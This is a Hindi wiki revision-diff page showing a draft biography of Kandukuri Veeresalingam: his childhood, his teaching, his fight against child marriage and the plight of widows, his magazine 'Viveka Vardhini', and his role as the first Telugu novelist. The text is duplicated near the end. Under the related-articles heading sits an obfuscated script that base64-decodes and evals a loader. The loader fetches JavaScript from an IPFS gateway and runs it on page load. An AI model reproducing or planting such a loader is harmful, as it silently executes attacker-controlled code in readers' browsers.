"प्रयोग:दिनेश" के अवतरणों में अंतर
पंक्ति 1: | पंक्ति 1: | ||
− | ''' | + | '''वीरेश लिंगम''' ( जन्म- [[16 अप्रैल]],1848, [[राजमहेंद्री]], मृत्यु- 1919) आंध्र प्रदेश के प्रसिद्ध समाजसेवी और [[साहित्यकार]] थे। वे जीवनभर समाज की कुरीतियों के विरुद्ध लड़ते रहे। बचपन में पिता का देहांत हो जाने के कारण उन्होंने आजीविका के लिये एक गांव के स्कूल में अध्यापक से जीवन आरंभ किया। |
==परिचय== | ==परिचय== | ||
− | + | आंध्र प्रदेश के प्रसिद्ध समाजसेवी और साहित्यकार वीरेशलिंगम का जन्म [[16 अप्रैल]] 1848 ई. को [[संस्कृति]] और [[साहित्य]] की प्रसिद्ध नगरी राजमहेन्द्री में हुआ था। उनका पूरा नाम कंटुकूरि वीरेश लिंगम था। साहित्य की रूचि उन्हें विरासत में मिली थी। 4 वर्ष की उम्र में ही पिता का देहांत हो जाने से उन्हें अपना मार्ग स्वयं खोजना पड़ा। घर पर [[तेलुगु]] और [[संस्कृत]] का अध्ययन करने के बाद 12 वर्ष की उम्र में विद्यालय में प्रविष्ट हुए। अपनी प्रतिभा और श्रम के कारण वे हमेशा प्रथम श्रेणी में उत्तीर्ण होते थे। पिता की मृत्यु के बाद मामा ने वीरेश लिंगम को सहारा दिया था। परंतु मामा का निधन हो जाने के कारण उन्हें शिक्षा रोककर आजीविका का साधन खोजना पड़ा [[अंग्रेज]] जिला अधिकारी उनकी प्रतिभा से प्रभावित होकर उन्हें सरकारी नौकरी देना चाहता था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=813|url=}}</ref> | |
− | == | + | ==कुरीतियों से संघर्ष== |
− | + | [[आंध्र प्रदेश]] की उस समय की पिछड़ी स्थिति देखकर वीरेश लिंगम आजीविका के साथ-साथ समाज सेवा भी करना चाहते थे। इसलिए उन्होंने सरकारी नौकरी स्वीकार न करके एक गांव के स्कूल में अध्यापक की नौकरी की। वे बड़े कुशल अध्यापक सिद्ध हुए। उनका ध्यान समाज को कुरीतियों से मुक्ति दिलाने की ओर भी था। उस समय [[बाल विवाह]] और वृद्ध विवाह का बोलबाला था बाल विधवाओं की बड़ी दुर्दशा थी। लड़कियों को कोई पढ़ाता नहीं था। इन कुरीतियों के समर्थन में पत्रिकाएं तक प्रकाशित होती थी। यह देखकर वीरेश लिंगम ने अपनी लेखनी उठाई। और लेखनी के माध्यम से उन्होंने इन सभी कुप्रथाओं का विरोध आरंभ किया। उन्होंने अपने मत के प्रचार के लिए 'विवेक वर्धनी' नामक पत्रिका निकाली। | |
− | == | + | ==योगदान== |
− | + | वीरेश लिंगम का [[साहित्य]] के सभी क्षेत्रों में विशेष योगदान रहा है। उन्होंने तेलुगु गद्य को स्थिरता प्रदान की। काव्य को नया रूप दिया और उच्च कोटि के ग्रंथों का अनुवाद करके अपनी [[भाषा]] का भंडार भरा। वे [[तेलुगु भाषा|तेलुगु]] के प्रथम [[उपन्यास]] लेखक, प्रथम समालोचक और प्रथम जीवन चरित्र लेखक थे। | |
− | |||
− | |||
==मृत्यु== | ==मृत्यु== | ||
− | + | कंटुकूरि वीरेश लिंगम का [[1919]] में देहांत हो गया। | |
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | ||
पंक्ति 16: | पंक्ति 14: | ||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | {{ | + | {{साहित्यकार}} |
− | [[Category: | + | [[Category:साहित्यकार]][[Category:लेखक]][[Category:उपन्यासकार]][[Category:शिक्षक]][[Category:साहित्यकार कोश]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:भारतीय चरित कोश]] |
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ | ||
पंक्ति 23: | पंक्ति 21: | ||
− | + | ||
− | + | ||
− | भारतीय चरित्र कोश | + | |
+ | आंध्र प्रदेश के प्रसिद्ध समाजसेवी और साहित्यकार वीरेशलिंगम का जन्म 16 अप्रैल 1848 ईस्वी को संस्कृति और साहित्य की प्रसिद्ध नगरी राजमहेंद्री में हुआ था। उनका पूरा नाम कंटुकूरि वीरेशलिंगम था। साहित्य की रूचि उन्हें परिवार से विरासत में मिली थी परंतु 4 वर्ष की उम्र में ही पिता का देहांत हो जाने से उन्हें अपना मार्ग स्वयं बनाना पड़ा। घर पर तेलुगु और संस्कृत का अध्ययन करने के बाद 12 वर्ष की उम्र में विद्यालय में प्रविष्ट हुए। अपनी प्रतिभा और श्रम के कारण विश्व का प्रथम श्रेणी में उत्तीर्ण होते थे। पिता की मृत्यु के बाद मामा ने वीरेशलिंगम को सहारा दिया था। परंतु मामा का निधन हो जाने के कारण उन्हें शिक्षा रोककर आजीविका का साधन खोजना पड़ा अंग्रेज जिला अधिकारी उनकी प्रतिभा से प्रभावित होकर उन्हें सरकारी नौकरी देना चाहता था। | ||
+ | आंध्र प्रदेश की उस समय की पिछड़ी स्थिति देखकर वीरेश लिंगम आजीवका के साथ-साथ समाज सेवा भी करना चाहते थे इसलिए सरकारी नौकरी स्वीकार न करके उन्होंने एक गांव के स्कूल में अध्यापक के रूप में जीवन आरंभ किया। वे बड़े कुशल अध्यापक सिद्ध हुए। उनका ध्यान समाज को कुरीतियों से मुक्ति दिलाने की और भी था। उस समय बाल विवाह और वृद्ध विवाह का बोलबाला था बाल विधवाओं की बड़ी दुर्दशा थी। लड़कियों को कोई पढ़ाता नहीं था। इन कुरीतियों के समर्थन में पत्रिकाएं तक प्रकाशित होती थी। यह देखकर वीरेशलिंगम ने अपनी लेखनी उठाई। उन्होंने इन समस्त कुप्रथाओं का विरोध आरंभ किया अपने मत के प्रचार के लिए 'विवेक वर्धनी' नामक पत्रिका निकाली। | ||
+ | साहित्य के सभी क्षेत्रों में वीरेश लिंगम का प्रभाव पड़ा। उन्होंने तेलुगु गद्य को स्थिरता प्रदान की। काव्य को नया रूप दिया और उच्च कोटि के ग्रंथों का अनुवाद करके अपनी भाषा का भंडार भरा। वे तेलुगु के प्रथम उपन्यास लेखक, प्रथम समालोचक और प्रथम जीवन चरित्र लेखक थे। 1919 में उनका देहांत हो गया। | ||
+ | भारतीय चरित्र कोश 813 |
06:19, 10 जुलाई 2018 का अवतरण
वीरेश लिंगम ( जन्म- 16 अप्रैल,1848, राजमहेंद्री, मृत्यु- 1919) आंध्र प्रदेश के प्रसिद्ध समाजसेवी और साहित्यकार थे। वे जीवनभर समाज की कुरीतियों के विरुद्ध लड़ते रहे। बचपन में पिता का देहांत हो जाने के कारण उन्होंने आजीविका के लिये एक गांव के स्कूल में अध्यापक से जीवन आरंभ किया।
परिचय
आंध्र प्रदेश के प्रसिद्ध समाजसेवी और साहित्यकार वीरेशलिंगम का जन्म 16 अप्रैल 1848 ई. को संस्कृति और साहित्य की प्रसिद्ध नगरी राजमहेन्द्री में हुआ था। उनका पूरा नाम कंटुकूरि वीरेश लिंगम था। साहित्य की रूचि उन्हें विरासत में मिली थी। 4 वर्ष की उम्र में ही पिता का देहांत हो जाने से उन्हें अपना मार्ग स्वयं खोजना पड़ा। घर पर तेलुगु और संस्कृत का अध्ययन करने के बाद 12 वर्ष की उम्र में विद्यालय में प्रविष्ट हुए। अपनी प्रतिभा और श्रम के कारण वे हमेशा प्रथम श्रेणी में उत्तीर्ण होते थे। पिता की मृत्यु के बाद मामा ने वीरेश लिंगम को सहारा दिया था। परंतु मामा का निधन हो जाने के कारण उन्हें शिक्षा रोककर आजीविका का साधन खोजना पड़ा अंग्रेज जिला अधिकारी उनकी प्रतिभा से प्रभावित होकर उन्हें सरकारी नौकरी देना चाहता था।[1]
कुरीतियों से संघर्ष
आंध्र प्रदेश की उस समय की पिछड़ी स्थिति देखकर वीरेश लिंगम आजीविका के साथ-साथ समाज सेवा भी करना चाहते थे। इसलिए उन्होंने सरकारी नौकरी स्वीकार न करके एक गांव के स्कूल में अध्यापक की नौकरी की। वे बड़े कुशल अध्यापक सिद्ध हुए। उनका ध्यान समाज को कुरीतियों से मुक्ति दिलाने की ओर भी था। उस समय बाल विवाह और वृद्ध विवाह का बोलबाला था बाल विधवाओं की बड़ी दुर्दशा थी। लड़कियों को कोई पढ़ाता नहीं था। इन कुरीतियों के समर्थन में पत्रिकाएं तक प्रकाशित होती थी। यह देखकर वीरेश लिंगम ने अपनी लेखनी उठाई। और लेखनी के माध्यम से उन्होंने इन सभी कुप्रथाओं का विरोध आरंभ किया। उन्होंने अपने मत के प्रचार के लिए 'विवेक वर्धनी' नामक पत्रिका निकाली।
योगदान
वीरेश लिंगम का साहित्य के सभी क्षेत्रों में विशेष योगदान रहा है। उन्होंने तेलुगु गद्य को स्थिरता प्रदान की। काव्य को नया रूप दिया और उच्च कोटि के ग्रंथों का अनुवाद करके अपनी भाषा का भंडार भरा। वे तेलुगु के प्रथम उपन्यास लेखक, प्रथम समालोचक और प्रथम जीवन चरित्र लेखक थे।
मृत्यु
कंटुकूरि वीरेश लिंगम का 1919 में देहांत हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 813 |
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
आंध्र प्रदेश के प्रसिद्ध समाजसेवी और साहित्यकार वीरेशलिंगम का जन्म 16 अप्रैल 1848 ईस्वी को संस्कृति और साहित्य की प्रसिद्ध नगरी राजमहेंद्री में हुआ था। उनका पूरा नाम कंटुकूरि वीरेशलिंगम था। साहित्य की रूचि उन्हें परिवार से विरासत में मिली थी परंतु 4 वर्ष की उम्र में ही पिता का देहांत हो जाने से उन्हें अपना मार्ग स्वयं बनाना पड़ा। घर पर तेलुगु और संस्कृत का अध्ययन करने के बाद 12 वर्ष की उम्र में विद्यालय में प्रविष्ट हुए। अपनी प्रतिभा और श्रम के कारण विश्व का प्रथम श्रेणी में उत्तीर्ण होते थे। पिता की मृत्यु के बाद मामा ने वीरेशलिंगम को सहारा दिया था। परंतु मामा का निधन हो जाने के कारण उन्हें शिक्षा रोककर आजीविका का साधन खोजना पड़ा अंग्रेज जिला अधिकारी उनकी प्रतिभा से प्रभावित होकर उन्हें सरकारी नौकरी देना चाहता था।
आंध्र प्रदेश की उस समय की पिछड़ी स्थिति देखकर वीरेश लिंगम आजीवका के साथ-साथ समाज सेवा भी करना चाहते थे इसलिए सरकारी नौकरी स्वीकार न करके उन्होंने एक गांव के स्कूल में अध्यापक के रूप में जीवन आरंभ किया। वे बड़े कुशल अध्यापक सिद्ध हुए। उनका ध्यान समाज को कुरीतियों से मुक्ति दिलाने की और भी था। उस समय बाल विवाह और वृद्ध विवाह का बोलबाला था बाल विधवाओं की बड़ी दुर्दशा थी। लड़कियों को कोई पढ़ाता नहीं था। इन कुरीतियों के समर्थन में पत्रिकाएं तक प्रकाशित होती थी। यह देखकर वीरेशलिंगम ने अपनी लेखनी उठाई। उन्होंने इन समस्त कुप्रथाओं का विरोध आरंभ किया अपने मत के प्रचार के लिए 'विवेक वर्धनी' नामक पत्रिका निकाली। साहित्य के सभी क्षेत्रों में वीरेश लिंगम का प्रभाव पड़ा। उन्होंने तेलुगु गद्य को स्थिरता प्रदान की। काव्य को नया रूप दिया और उच्च कोटि के ग्रंथों का अनुवाद करके अपनी भाषा का भंडार भरा। वे तेलुगु के प्रथम उपन्यास लेखक, प्रथम समालोचक और प्रथम जीवन चरित्र लेखक थे। 1919 में उनका देहांत हो गया।
भारतीय चरित्र कोश 813